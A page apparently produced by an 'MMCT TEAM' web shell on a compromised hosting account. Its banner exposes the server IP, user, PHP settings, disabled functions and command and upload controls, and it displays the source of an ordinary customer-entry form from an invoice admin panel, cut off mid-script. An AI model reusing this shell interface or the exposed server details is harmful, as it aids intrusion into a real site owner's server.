MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/add-customer.php
<?php
	session_start();

	require_once 'db.php';

	if(!isset($_SESSION["logs"])){
		redirect("index.php");
	}
?>
<!DOCTYPE html>
<html lang="en">
	<head>
<base href="" />
		<title>TDS Admin Hub</title>
		<meta charset="utf-8" />
		<meta name="description" content="The most advanced Bootstrap 5 Admin Theme with 40 unique prebuilt layouts on Themeforest trusted by 100,000 beginners and professionals. Multi-demo, Dark Mode, RTL support and complete React, Angular, Vue, Asp.Net Core, Rails, Spring, Blazor, Django, Express.js, Node.js, Flask, Symfony & Laravel versions. Grab your copy now and get life-time updates for free." />
		<meta name="keywords" content="metronic, bootstrap, bootstrap 5, angular, VueJs, React, Asp.Net Core, Rails, Spring, Blazor, Django, Express.js, Node.js, Flask, Symfony & Laravel starter kits, admin themes, web design, figma, web development, free templates, free admin themes, bootstrap theme, bootstrap template, bootstrap dashboard, bootstrap dak mode, bootstrap button, bootstrap datepicker, bootstrap timepicker, fullcalendar, datatables, flaticon" />
		<meta name="viewport" content="width=device-width, initial-scale=1" />
		<meta property="og:locale" content="en_US" />
		<meta property="og:type" content="article" />
		<meta property="og:title" content="Metronic - The World's #1 Selling Bootstrap Admin Template - Metronic by KeenThemes" />
		<meta property="og:url" content="https://keenthemes.com/metronic" />
		<meta property="og:site_name" content="Metronic by Keenthemes" />
		<link rel="canonical" href="https://preview.keenthemes.com/metronic8" />
		<link rel="shortcut icon" href="assets/media/logos/favicon.ico" />
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
		<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
		<link href="assets/plugins/custom/datatables/datatables.bundle.css" rel="stylesheet" type="text/css" />
		<link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
		<link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
		<style>
        .ck-editor__editable[role="textbox"] {
            min-height: 180px;
        }
        .image-upload-container {
    border: 2px dashed #ccc;
    border-radius: 8px;
    padding: 20px;
    text-align: center;
    width: 300px;
    position: relative;
    transition: border-color 0.3s;
}

.image-upload-container:hover {
    border-color: #007bff;
}

.image-upload-label {
    cursor: pointer;
    display: block;
}

.upload-icon {
    font-size: 48px;
    color: #007bff;
}

.upload-text {
    margin-top: 10px;
    color: #666;
}

.upload-text button {
    margin-top: 10px;
}

.image-upload-input {
    display: none;
}

.image-preview {
    margin-top: 15px;
    display: none;
    position: relative;
}

.image-preview img {
    max-width: 100%;
    border-radius: 8px;
}

.image-preview::after {
    content: "Preview";
    position: absolute;
    top: 0;
    left: 0;
    background: rgba(0, 0, 0, 0.6);
    color: white;
    font-size: 12px;
    padding: 5px;
    border-radius: 0 0 8px 0;
    display: none;
}

    </style>
		
	
	</head>

	<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" data-kt-app-toolbar-enabled="true" class="app-default">
		<script>var defaultThemeMode = "light"; var themeMode; if ( document.documentElement ) { if ( document.documentElement.hasAttribute("data-bs-theme-mode")) { themeMode = document.documentElement.getAttribute("data-bs-theme-mode"); } else { if ( localStorage.getItem("data-bs-theme") !== null ) { themeMode = localStorage.getItem("data-bs-theme"); } else { themeMode = defaultThemeMode; } } if (themeMode === "system") { themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; } document.documentElement.setAttribute("data-bs-theme", themeMode); }
		</script>
		<div class="d-flex flex-column flex-root app-root" id="kt_app_root">
			<div class="app-page flex-column flex-column-fluid" id="kt_app_page">
				<div id="kt_app_header" class="app-header" data-kt-sticky="true" data-kt-sticky-activate="{default: true, lg: true}" data-kt-sticky-name="app-header-minimize" data-kt-sticky-offset="{default: '200px', lg: '0'}" data-kt-sticky-animation="false">
					<div class="app-container container-fluid d-flex align-items-stretch justify-content-between" id="kt_app_header_container">
						<div class="d-flex align-items-center d-lg-none ms-n3 me-1 me-md-2" title="Show sidebar menu">
							<div class="btn btn-icon btn-active-color-primary w-35px h-35px" id="kt_app_sidebar_mobile_toggle">
								<i class="ki-duotone ki-abstract-14 fs-2 fs-md-1">
									<span class="path1"></span>
									<span class="path2"></span>
								</i>
							</div>
						</div>
						
						<div class="d-flex align-items-center flex-grow-1 flex-lg-grow-0">
							<a href="products.php" class="d-lg-none">
								<img alt="Logo" src="assets/media/logos/default-small.svg" class="h-30px" />
							</a>
						</div>
						
						<div class="d-flex align-items-stretch justify-content-between flex-lg-grow-1" id="kt_app_header_wrapper">
							<div class="app-header-menu app-header-mobile-drawer align-items-stretch" data-kt-drawer="true" data-kt-drawer-name="app-header-menu" data-kt-drawer-activate="{default: true, lg: false}" data-kt-drawer-overlay="true" data-kt-drawer-width="250px" data-kt-drawer-direction="end" data-kt-drawer-toggle="#kt_app_header_menu_toggle" data-kt-swapper="true" data-kt-swapper-mode="{default: 'append', lg: 'prepend'}" data-kt-swapper-parent="{default: '#kt_app_body', lg: '#kt_app_header_wrapper'}">
								<div class="menu menu-rounded menu-column menu-lg-row my-5 my-lg-0 align-items-stretch fw-semibold px-2 px-lg-0" id="kt_app_header_menu" data-kt-menu="true">
								</div>
							</div>
							<div class="app-navbar flex-shrink-0">
								<div class="app-navbar-item ms-1 ms-md-4">
									<a href="#" class="btn btn-icon btn-custom btn-icon-muted btn-active-light btn-active-color-primary w-35px h-35px" data-kt-menu-trigger="{default:'click', lg: 'hover'}" data-kt-menu-attach="parent" data-kt-menu-placement="bottom-end">
										<i class="ki-duotone ki-night-day theme-light-show fs-1">
											<span class="path1"></span>
											<span class="path2"></span>
											<span class="path3"></span>
											<span class="path4"></span>
											<span class="path5"></span>
											<span class="path6"></span>
											<span class="path7"></span>
											<span class="path8"></span>
											<span class="path9"></span>
											<span class="path10"></span>
										</i>
										<i class="ki-duotone ki-moon theme-dark-show fs-1">
											<span class="path1"></span>
											<span class="path2"></span>
										</i>
									</a>
									<div class="menu menu-sub menu-sub-dropdown menu-column menu-rounded menu-title-gray-700 menu-icon-gray-500 menu-active-bg menu-state-color fw-semibold py-4 fs-base w-150px" data-kt-menu="true" data-kt-element="theme-mode-menu">
										<div class="menu-item px-3 my-0">
											<a href="#" class="menu-link px-3 py-2" data-kt-element="mode" data-kt-value="light">
												<span class="menu-icon" data-kt-element="icon">
													<i class="ki-duotone ki-night-day fs-2">
														<span class="path1"></span>
														<span class="path2"></span>
														<span class="path3"></span>
														<span class="path4"></span>
														<span class="path5"></span>
														<span class="path6"></span>
														<span class="path7"></span>
														<span class="path8"></span>
														<span class="path9"></span>
														<span class="path10"></span>
													</i>
												</span>
												<span class="menu-title">Light</span>
											</a>
										</div>
										<div class="menu-item px-3 my-0">
											<a href="#" class="menu-link px-3 py-2" data-kt-element="mode" data-kt-value="dark">
												<span class="menu-icon" data-kt-element="icon">
													<i class="ki-duotone ki-moon fs-2">
														<span class="path1"></span>
														<span class="path2"></span>
													</i>
												</span>
												<span class="menu-title">Dark</span>
											</a>
										</div>
										<div class="menu-item px-3 my-0">
											<a href="#" class="menu-link px-3 py-2" data-kt-element="mode" data-kt-value="system">
												<span class="menu-icon" data-kt-element="icon">
													<i class="ki-duotone ki-screen fs-2">
														<span class="path1"></span>
														<span class="path2"></span>
														<span class="path3"></span>
														<span class="path4"></span>
													</i>
												</span>
												<span class="menu-title">System</span>
											</a>
										</div>
									</div>
								</div>
								<?php include "logo.php" ?>
								<!-- <div class="app-navbar-item d-lg-none ms-2 me-n2" title="Show header menu">
									<div class="btn btn-flex btn-icon btn-active-color-primary w-30px h-30px" id="kt_app_header_menu_toggle">
										<i class="ki-duotone ki-element-4 fs-1">
											<span class="path1"></span>
											<span class="path2"></span>
										</i>
									</div>
								</div> -->
							</div>
						</div>
					</div>
				</div>
				<div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
					<div id="kt_app_sidebar" class="app-sidebar flex-column" data-kt-drawer="true" data-kt-drawer-name="app-sidebar" data-kt-drawer-activate="{default: true, lg: false}" data-kt-drawer-overlay="true" data-kt-drawer-width="225px" data-kt-drawer-direction="start" data-kt-drawer-toggle="#kt_app_sidebar_mobile_toggle">
							<div class="app-sidebar-logo px-6" id="kt_app_sidebar_logo">
							<a href="products.php">
								<img alt="Logo" src="assets/media/logos/LOGO.png" class="h-25px app-sidebar-logo-default" />
								<img alt="Logo" src="assets/media/logos/default-small.svg" class="h-20px app-sidebar-logo-minimize" />
							</a>
						
							<div id="kt_app_sidebar_toggle" class="app-sidebar-toggle btn btn-icon btn-shadow btn-sm btn-color-muted btn-active-color-primary h-30px w-30px position-absolute top-50 start-100 translate-middle rotate" data-kt-toggle="true" data-kt-toggle-state="active" data-kt-toggle-target="body" data-kt-toggle-name="app-sidebar-minimize">
								<i class="ki-duotone ki-black-left-line fs-3 rotate-180">
									<span class="path1"></span>
									<span class="path2"></span>
								</i>
							</div>
						</div>
						<?php   include "sidebar.php" ?>
					</div>
					<div class="app-main flex-column flex-row-fluid" id="kt_app_main">
						<div class="d-flex flex-column flex-column-fluid">
							<div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
								<div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
									<div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
									</div>
									<div class="d-flex align-items-center gap-2 gap-lg-3">
										<div class="m-0">
											<!-- <a href="#" class="btn btn-sm btn-flex btn-secondary fw-bold" data-kt-menu-trigger="click" data-kt-menu-placement="bottom-end">
											<i class="ki-duotone ki-filter fs-6 text-muted me-1">
												<span class="path1"></span>
												<span class="path2"></span>
											</i>Filter</a> -->
											<div class="menu menu-sub menu-sub-dropdown w-250px w-md-300px" data-kt-menu="true" id="kt_menu_658cdaf4294b1">
												<div class="px-7 py-5">
													<div class="fs-5 text-gray-900 fw-bold">Filter Options</div>
												</div>
												<div class="separator border-gray-200"></div>
												<div class="px-7 py-5">
													<div class="mb-10">
														<label class="form-label fw-semibold">Status:</label>
														<div>
															<select class="form-select form-select-solid" multiple="multiple" data-kt-select2="true" data-close-on-select="false" data-placeholder="Select option" data-dropdown-parent="#kt_menu_658cdaf4294b1" data-allow-clear="true">
																<option></option>
																<option value="1">Approved</option>
																<option value="2">Pending</option>
																<option value="2">In Process</option>
																<option value="2">Rejected</option>
															</select>
														</div>
													</div>
													<div class="mb-10">
														<label class="form-label fw-semibold">Member Type:</label>
														<div class="d-flex">
															<label class="form-check form-check-sm form-check-custom form-check-solid me-5">
																<input class="form-check-input" type="checkbox" value="1" />
																<span class="form-check-label">Author</span>
															</label>
															<label class="form-check form-check-sm form-check-custom form-check-solid">
																<input class="form-check-input" type="checkbox" value="2" checked="checked" />
																<span class="form-check-label">Customer</span>
															</label>
														</div>
													</div>
													<div class="mb-10">
														<label class="form-label fw-semibold">Notifications:</label>
														<div class="form-check form-switch form-switch-sm form-check-custom form-check-solid">
															<input class="form-check-input" type="checkbox" value="" name="notifications" checked="checked" />
															<label class="form-check-label">Enabled</label>
														</div>
													</div>
													<div class="d-flex justify-content-end">
														<button type="reset" class="btn btn-sm btn-light btn-active-light-primary me-2" data-kt-menu-dismiss="true">Reset</button>
														<button type="submit" class="btn btn-sm btn-primary" data-kt-menu-dismiss="true">Apply</button>
													</div>
												</div>
											</div>
										</div>
										<!-- <a href="#" class="btn btn-sm fw-bold btn-primary" data-bs-toggle="modal" data-bs-target="#kt_modal_create_app">Create</a> -->
									</div>
								</div>
							</div>
							<div class="col-lg-12">
								<div id="kt_app_content" class="app-content flex-column-fluid">
									<div id="kt_app_content_container" class="app-container container-xxl">
										<h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">Add Customer</h1>
											<ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
												<li class="breadcrumb-item text-muted">
													<a  class="text-muted text-hover-primary">Customer Details</a>
												</li>
												<li class="breadcrumb-item">
													<span class="bullet bg-gray-500 w-5px h-2px"></span>
												</li>
												<li class="breadcrumb-item text-muted"> Add Customer</li>
											</ul>
											<form id="kt_ecommerce_add_category_form" class="form d-flex flex-column flex-lg-row" enctype="multipart/form-data">
												<input type="hidden" name="action" id="action" value="Insert">
												<div class="d-flex flex-column flex-row-fluid gap-5 gap-lg-6">
													<div class="card card-flush shadow-sm mt-5">
														<div class="card-header py-4">
															<h2 class="card-title fw-bold">Customer Details</h2>
														</div>

														<div class="card-body">
															<div class="row g-4">
																<div class="col-md-6">
																	<label class="required form-label fw-semibold">Name</label>
																	<input type="text" required class="form-control form-control-solid" name="cname" placeholder="Enter customer name">
																</div>

																<div class="col-md-6">
																	<label class="required form-label fw-semibold">Email</label>
																	<input type="email" required class="form-control form-control-solid" name="cemail" placeholder="Enter email">
																</div>

																<div class="col-md-6">
																	<label class="required form-label fw-semibold">Phone</label>
																	<input type="tel" required class="form-control form-control-solid" name="phone" placeholder="Enter phone number">
																</div>

																<div class="col-md-3">
																	<label class="required form-label fw-semibold">GST Number</label>
																	<input type="text" required class="form-control form-control-solid" name="gst" placeholder="Enter GST number">
																</div>
																<div class="col-md-3">
																	<label class="required form-label fw-semibold">Customer Type</label>
																	<select class="form-select form-select-solid" required name="custype" data-placeholder="Select Customer type" data-kt-repeater="select2">
																		<option></option>
																		<option value='Distributer'>Distributer</option>
																		<option value='Retailer'>Retailer</option>
																	</select>
																</div>


																<div class="separator separator-dashed my-10"></div>
																<div class="col-12">
																	<div class="d-flex align-items-center justify-content-between  mb-2">
																		<h2 class="fw-bold mb-0">Billing Address</h2>
																	</div>
																	<div class="row g-4 mt-xl-2">
																		<div class="col-md-6">
																			<label class="required required form-label fw-semibold">Address</label>
																			<input type="text" required class="form-control form-control-solid" name="billing_address" placeholder="Enter billing address">
																		</div>
																		<div class="col-md-6">
																			<label class="form-label required fw-semibold">City</label>
																			<input type="text" required class="form-control form-control-solid" name="billing_city" placeholder="Enter city">
																		</div>
																		<div class="col-md-6">
																			<label class="form-label required fw-semibold">Pincode</label>
																			<input type="text" required class="form-control form-control-solid" name="billing_pincode" placeholder="Enter pincode">
																		</div>
																		<div class="col-md-6">
																			<label class="form-label required fw-semibold">State</label>
																			<select class="form-select form-select-solid" required name="billing_state" data-placeholder="Select state" data-kt-repeater="select2">
																				<option></option>
																				<option value="Andhra Pradesh">Andhra Pradesh</option>
																				<option value="Arunachal Pradesh">Arunachal Pradesh</option>
																				<option value="Assam">Assam</option>
																				<option value="Bihar">Bihar</option>
																				<option value="Chhattisgarh">Chhattisgarh</option>
																				<option value="Goa">Goa</option>
																				<option value="Gujarat">Gujarat</option>
																				<option value="Haryana">Haryana</option>
																				<option value="Himachal Pradesh">Himachal Pradesh</option>
																				<option value="Jharkhand">Jharkhand</option>
																				<option value="Karnataka">Karnataka</option>
																				<option value="Kerala">Kerala</option>
																				<option value="Madhya Pradesh">Madhya Pradesh</option>
																				<option value="Maharashtra">Maharashtra</option>
																				<option value="Manipur">Manipur</option>
																				<option value="Meghalaya">Meghalaya</option>
																				<option value="Mizoram">Mizoram</option>
																				<option value="Nagaland">Nagaland</option>
																				<option value="Odisha">Odisha</option>
																				<option value="Punjab">Punjab</option>
																				<option value="Rajasthan">Rajasthan</option>
																				<option value="Sikkim">Sikkim</option>
																				<option value="Tamil Nadu">Tamil Nadu</option>
																				<option value="Telangana">Telangana</option>
																				<option value="Tripura">Tripura</option>
																				<option value="Uttar Pradesh">Uttar Pradesh</option>
																				<option value="Uttarakhand">Uttarakhand</option>
																				<option value="West Bengal">West Bengal</option>
																				<option value="Andaman and Nicobar Islands">Andaman and Nicobar Islands</option>
																				<option value="Chandigarh">Chandigarh</option>
																				<option value="Dadra and Nagar Haveli and Daman and Diu">Dadra and Nagar Haveli and Daman and Diu</option>
																				<option value="Delhi">Delhi</option>
																				<option value="Jammu and Kashmir">Jammu and Kashmir</option>
																				<option value="Ladakh">Ladakh</option>
																				<option value="Lakshadweep">Lakshadweep</option>
																				<option value="Puducherry">Puducherry</option>
																			</select>
																		</div>
																	</div>
																</div>
																<div class="col-12 mt-4">
																	<label class="form-label fw-semibold">Upload File</label>
																	<div class="dropzone dropzone-default dropzone-primary" id="kt_dropzone_1">
																		<div class="dropzone-msg dz-message needsclick">
																			<i class="bi bi-file-earmark-arrow-up text-primary fs-3x"></i>
																			<h3 class="dropzone-msg-title">Drop file here or click to upload.</h3>
																			<span class="dropzone-msg-desc">Upload JPG, JPEG or PDF file (max size: 1MB)</span>
																		</div>
																	</div>
																</div>
															</div>

															<div class="separator separator-dashed my-10"></div>
															<div class="form-check form-switch form-check-custom form-check-solid mt-8">
																<input class="form-check-input" type="checkbox" id="toggleShippingAddress"/>
																<label class="form-check-label fs-5 fw-semibold" for="toggleShippingAddress">
																	Add Shipping Address (different from billing)
																</label>
															</div>

															<div id="shippingAddressSection" class="py-4 mt-5" style="display: none;">
																<div class="d-flex align-items-center justify-content-between mb-4">
																	<h2 class="fw-bold mb-0">Shipping Address</h2>
																</div>
																<div class="row">
																	<div class="pt-0">
																		<div id="kt_docs_repeater_advanced">
																			<div class="form-group">
																				<div data-repeater-list="addresses">
																					<div data-repeater-item>
																						<input type="hidden" class="address-id" name="address_id" value="">
																						<div class="form-group row mb-5">
																							<div class="col-md-12">
																								<label class="form-label required">Address</label>
																								<input type="text" class="form-control form-control-solid" name="address" placeholder="Enter address" style="height:50px"/>
																							</div>
																							<div class="row mt-xl-6">
																								<div class="col-md-3">
																									<label class="form-label required">City</label>
																									<input type="text" class="form-control form-control-solid" name="city" placeholder="Enter city" />
																								</div>
																								<div class="col-md-3">
																									<label class="form-label required">Pincode:</label>
																									<input type="text" class="form-control form-control-solid" name="addr_pincode" placeholder="Enter pincode" />
																								</div>
																								<div class="col-md-3">
																									<label class="form-label required">State:</label>
																									<select class="form-control form-control-solid" name="addr_state" data-kt-repeater="select2" data-placeholder="Select state">
																										<option></option>
																										<option value="Andhra Pradesh">Andhra Pradesh</option>
																										<option value="Arunachal Pradesh">Arunachal Pradesh</option>
																										<option value="Assam">Assam</option>
																										<option value="Bihar">Bihar</option>
																										<option value="Chhattisgarh">Chhattisgarh</option>
																										<option value="Goa">Goa</option>
																										<option value="Gujarat">Gujarat</option>
																										<option value="Haryana">Haryana</option>
																										<option value="Himachal Pradesh">Himachal Pradesh</option>
																										<option value="Jharkhand">Jharkhand</option>
																										<option value="Karnataka">Karnataka</option>
																										<option value="Kerala">Kerala</option>
																										<option value="Madhya Pradesh">Madhya Pradesh</option>
																										<option value="Maharashtra">Maharashtra</option>
																										<option value="Manipur">Manipur</option>
																										<option value="Meghalaya">Meghalaya</option>
																										<option value="Mizoram">Mizoram</option>
																										<option value="Nagaland">Nagaland</option>
																										<option value="Odisha">Odisha</option>
																										<option value="Punjab">Punjab</option>
																										<option value="Rajasthan">Rajasthan</option>
																										<option value="Sikkim">Sikkim</option>
																										<option value="Tamil Nadu">Tamil Nadu</option>
																										<option value="Telangana">Telangana</option>
																										<option value="Tripura">Tripura</option>
																										<option value="Uttar Pradesh">Uttar Pradesh</option>
																										<option value="Uttarakhand">Uttarakhand</option>
																										<option value="West Bengal">West Bengal</option>
																										<option value="Andaman and Nicobar Islands">Andaman and Nicobar Islands</option>
																										<option value="Chandigarh">Chandigarh</option>
																										<option value="Dadra and Nagar Haveli and Daman and Diu">Dadra and Nagar Haveli and Daman and Diu</option>
																										<option value="Delhi">Delhi</option>
																										<option value="Jammu and Kashmir">Jammu and Kashmir</option>
																										<option value="Ladakh">Ladakh</option>
																										<option value="Lakshadweep">Lakshadweep</option>
																										<option value="Puducherry">Puducherry</option>
																									</select>
																								</div>
																								<div class="col-md-3">
																									<a href="javascript:;" data-repeater-delete class="btn btn-icon btn-danger btn-active-light-danger mt-3 mt-md-9">
																										<span class="fa fa-close fs-3"></span>
																									</a>
																								</div>
																								<div class="col-md-12 mt-md-9">
																									<div class="form-check mt-2">
																										<input type="hidden" name="is_billing_value" value="0">
																										<input class="form-check-input" type="checkbox" name="is_billing" onchange="document.getElementsByName('is_billing_value')[0].value = this.checked ? '1' : '0'">
																										<label class="form-check-label">Default Billing Address</label>
																									</div>
																								</div>
																							</div>
																						</div>
																					</div>
																				</div>
																			</div>
																			<div class="form-group">
																			<button type="button" data-repeater-create style="display:none;" id="realAddRepeaterBtn"></button>

																				<button type="button" id="addNewRowBtn" class="btn btn-primary">Add Row</button>

																			</div>
																		</div>
																	</div>
																</div>
															</div>
															<div class="d-flex justify-content-end mt-4">
																<a href="customer.php" id="kt_ecommerce_add_product_cancel" class="btn btn-light me-5">Cancel</a>
																<button type="submit" id="btn-submit" class="btn btn-primary">
																	<span class="indicator-label">Submit</span>
																	<span class="indicator-progress">Please wait... 
																		<span class="spinner-border spinner-border-sm align-middle ms-2"></span>
																	</span>
																</button>
															</div>
														</div>
													</div>
												</div>
											</form>
										</div>
									</div>
								</div> 
						</div>
						<div id="kt_app_footer" class="app-footer">
							<div class="app-container container-fluid d-flex flex-column flex-md-row flex-center flex-md-stack py-3">
								<div class="text-gray-900 order-2 order-md-1">
									<span class="text-muted fw-semibold me-1">2025 &copy;</span>
									<a href="https://thedotstudios.com/" target="_blank" class="text-gray-800 text-hover-primary">Copyright All rights reserved | Made with <span class="fa fa-heart text-danger"></span> <b> by TheDotStudios.</b></a>
								</div>
								<ul class="menu menu-gray-600 menu-hover-primary fw-semibold order-1">
									<li class="menu-item">
										<a href="https://thedotstudios.com/" target="_blank" class="menu-link px-2">About</a>
									</li>
									<li class="menu-item">
										<a href="https://thedotstudios.com/" target="_blank" class="menu-link px-2">Support</a>
									</li>
									<li class="menu-item">
										<!-- <a href="https://1.envato.market/EA4JP" target="_blank" class="menu-link px-2">Purchase</a> -->
									</li>
								</ul>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<div id="kt_scrolltop" class="scrolltop" data-kt-scrolltop="true">
			<i class="ki-duotone ki-arrow-up">
				<span class="path1"></span>
				<span class="path2"></span>
			</i>
		</div>
		<script>var hostUrl = "assets/";</script>
		<script src="assets/plugins/global/plugins.bundle.js"></script>
		<script src="assets/js/scripts.bundle.js"></script>
		<script src="assets/plugins/custom/datatables/datatables.bundle.js"></script>
		<script src="assets/plugins/custom/formrepeater/formrepeater.bundle.js"></script>
		<script src="assets/js/widgets.bundle.js"></script>
		<script src="assets/js/custom/widgets.js"></script>
		<script src="assets/js/custom/apps/chat/chat.js"></script>
		<script src="assets/js/custom/utilities/modals/upgrade-plan.js"></script>
		<script src="assets/js/custom/utilities/modals/create-app.js"></script>
		<script src="assets/js/custom/utilities/modals/users-search.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/tagify/4.12.0/tagify.min.js"></script>
	
		
		<script>

				// $(document).on('click', '.add-field', function() {
				// 	const inputFieldsDiv = $(this).prev('.input-fields');
				// 	let isValid = true;
				// 	inputFieldsDiv.find('input').each(function() {
				// 		if (!$(this).val()) {
				// 			$(this).addClass('is-invalid');
				// 			isValid = false;
				// 		} else {
				// 			$(this).removeClass('is-invalid');
				// 		}
				// 	});
				// 	if (isValid) {
				// 		const newRow = inputFieldsDiv.children('.row').first().clone();
				// 		newRow.find('input').val('');
				// 		inputFieldsDiv.append(newRow);
				// 	} else {
				// 		Swal.fire({
				// 			icon: 'error',
				// 			title: 'Error',
				// 			text: 'Please fill all required fields before adding a new input.',
				// 		});
				// 	}
				// });


			document.addEventListener('DOMContentLoaded', function() {
				let uploadedFiles = [];
				const myDropzone = new Dropzone("#kt_dropzone_1", {
					url: "ajax_customer.php",
					paramName: "file",
					maxFiles: 1,
					maxFilesize: 1,
					addRemoveLinks: true,
					acceptedFiles: ".jpeg,.jpg,.pdf",
					autoProcessQueue: false,
					headers: {
						'X-CSRF-TOKEN': $('meta[name="csrf-token"]').attr('content')
					},
					init: function() {
						this.on("maxfilesexceeded", function(file) {
							this.removeAllFiles();
							this.addFile(file);
						});
						this.on("sending", function(file, xhr, formData) {
							const shippingAddresses = collectAddresses();
							console.log("File being uploaded:", file.name);
							console.log("Has shipping address:", $('#toggleShippingAddress').is(':checked'));
							console.log("Shipping addresses being sent with file:", shippingAddresses);
							appendFormData(formData, shippingAddresses);
						});
					},
					success: function(file, response) {
						hideLoadingIndicator();
						console.log("Raw server response:", response);
						handleFormResponse(response);
					},
					error: function(file, errorMessage) {
						hideLoadingIndicator();
						this.removeFile(file);
						showError(errorMessage);
					},
					accept: function(file, done) {
						validateFile(file, done);
					}
				});
				$('#kt_docs_repeater_advanced').repeater({
    initEmpty: false,
    defaultValues: {
        'text-input': ''
    },
    show: function () {
        $(this).slideDown();
        $(this).find('[data-kt-repeater="select2"]').select2({
            width: '100%',
            placeholder: "Select a state"
        });
    },
    hide: function (deleteElement) {
        const allItems = $(this).closest('[data-repeater-list]').find('[data-repeater-item]');
        if (allItems.length > 1) {
            $(this).slideUp(deleteElement);
        } else {
            const errorMsg = $('<div class="alert alert-danger mt-2 mb-2">Cannot delete the last row. At least one row is required.</div>');
            $(this).closest('[data-repeater-list]').append(errorMsg);
            setTimeout(() => {
                errorMsg.fadeOut(function () {
                    $(this).remove();
                });
            }, 300);
        }
    },
    ready: function () {
        $('[data-kt-repeater="select2"]').select2({
            width: '100%',
            placeholder: "Select a state"
        });
    }
});

$('#addNewRowBtn').on('click', function () {
    const lastItem = $('[data-repeater-list]').find('[data-repeater-item]:visible').last();
    let isValid = true;

    // Validate only visible, non-hidden inputs
    lastItem.find('input:not([type="hidden"])').each(function () {
        if ($.trim($(this).val()) === '') {
            $(this).addClass('is-invalid');
            isValid = false;
        } else {
            $(this).removeClass('is-invalid');
        }
    });


	lastItem.find('select').each(function () {
									const isSelect2 = $(this).hasClass('select2-hidden-accessible');
									const selectedValues = $(this).val(); // for multiple, it's an array

									if (!selectedValues || selectedValues.length === 0) {
										isValid = false;

										if (isSelect2) {
											$(this).next('.select2').find('.select2-selection').addClass('is-invalid');
										} else {
											$(this).addClass('is-invalid');
										}
									} else {
										if (isSelect2) {
											$(this).next('.select2').find('.select2-selection').removeClass('is-invalid');
										} else {
											$(this).removeClass('is-invalid');
										}
									}
								});

    if (isValid) {
        // Trigger the actual repeater add
        $('#realAddRepeaterBtn').click();
    } else {
        Swal.fire({
            icon: 'error',
            title: 'Error',
            text: 'Please fill all required fields before adding a new row.',
        });
    }
});




				$('#toggleShippingAddress').on('change', function() {
					if ($(this).is(':checked')) {
						$('#shippingAddressSection').slideDown();
					} else {
						$('#shippingAddressSection').slideUp();
					}
				});
				$(document).on('change', 'input[name*="is_billing"]', function() {
					if ($(this).is(':checked')) {
						$('input[name*="is_billing"]').not(this).prop('checked', false);
						const addressItem = $(this).closest('[data-repeater-item]');
						addressItem.attr('data-is-billing', '1');
						addressItem.siblings('[data-repeater-item]').attr('data-is-billing', '0');
						console.log("Clicked input:", $(this));
						console.log("Parent [data-repeater-item]:", addressItem);
						let addressIdField = addressItem.find('input[name$="[address_id]"]');
						if (addressIdField.length === 0) {
							console.log("Address ID field not found inside [data-repeater-item]. Checking outside...");
							addressIdField = $('input[name$="[address_id]"]').filter(function () {
								return $(this).closest('[data-repeater-item]')[0] === addressItem[0];
							});
						}
						if (addressIdField.length) {
							console.log("Found address ID field:", addressIdField);
						} else {
							console.log("Address ID field still not found.");
						}
						const addressId = addressIdField.val() || 'Not Found';
						console.log("Setting billing address ID:", addressId, "Checked status:", $(this).is(':checked'));
					}
				});
				$("#kt_ecommerce_add_category_form").on("submit", function(e) {
					e.preventDefault();
					if (!validateForm()) {
						return false;
					}
					showLoadingIndicator();
					if (myDropzone.files.length > 0) {
						myDropzone.processQueue();
					} else {
						submitWithoutFile(this);
					}
				});
				function collectAddresses() {
					let addresses = [];
					
					if ($('#toggleShippingAddress').is(':checked')) {
						console.log("Shipping address is enabled, checking for address elements");
						const repeaterItems = $('#kt_docs_repeater_advanced [data-repeater-item]');
						console.log("Found repeater items:", repeaterItems.length);
						repeaterItems.each(function(index) {
							console.log(`Processing repeater item #${index}`);
							const addressElem = $(this).find('input[name$="[address]"]');
							const cityElem = $(this).find('input[name$="[city]"]');
							const pincodeElem = $(this).find('input[name$="[addr_pincode]"], input[name$="[pincode]"]').first();
							const stateElem = $(this).find('select[name$="[addr_state]"], select[name$="[state]"]').first();
							const billingCheckbox = $(this).find('input[name$="[is_billing]"]');
							console.log("Field elements found:", {
								address: addressElem.length, 
								city: cityElem.length, 
								pincode: pincodeElem.length, 
								state: stateElem.length,
								billing: billingCheckbox.length
							});
							const address = addressElem.val() ? addressElem.val().trim() : '';
							const city = cityElem.val() ? cityElem.val().trim() : '';
							const pincode = pincodeElem.val() ? pincodeElem.val().trim() : '';
							const state = stateElem.val() ? stateElem.val().trim() : '';
							const isBilling = billingCheckbox.is(':checked') ? 1 : 0;
							console.log("Field values:", { address, city, pincode, state, isBilling });
							if (address || city || pincode || state) {
								addresses.push({
									address: address,
									city: city,
									pincode: pincode,
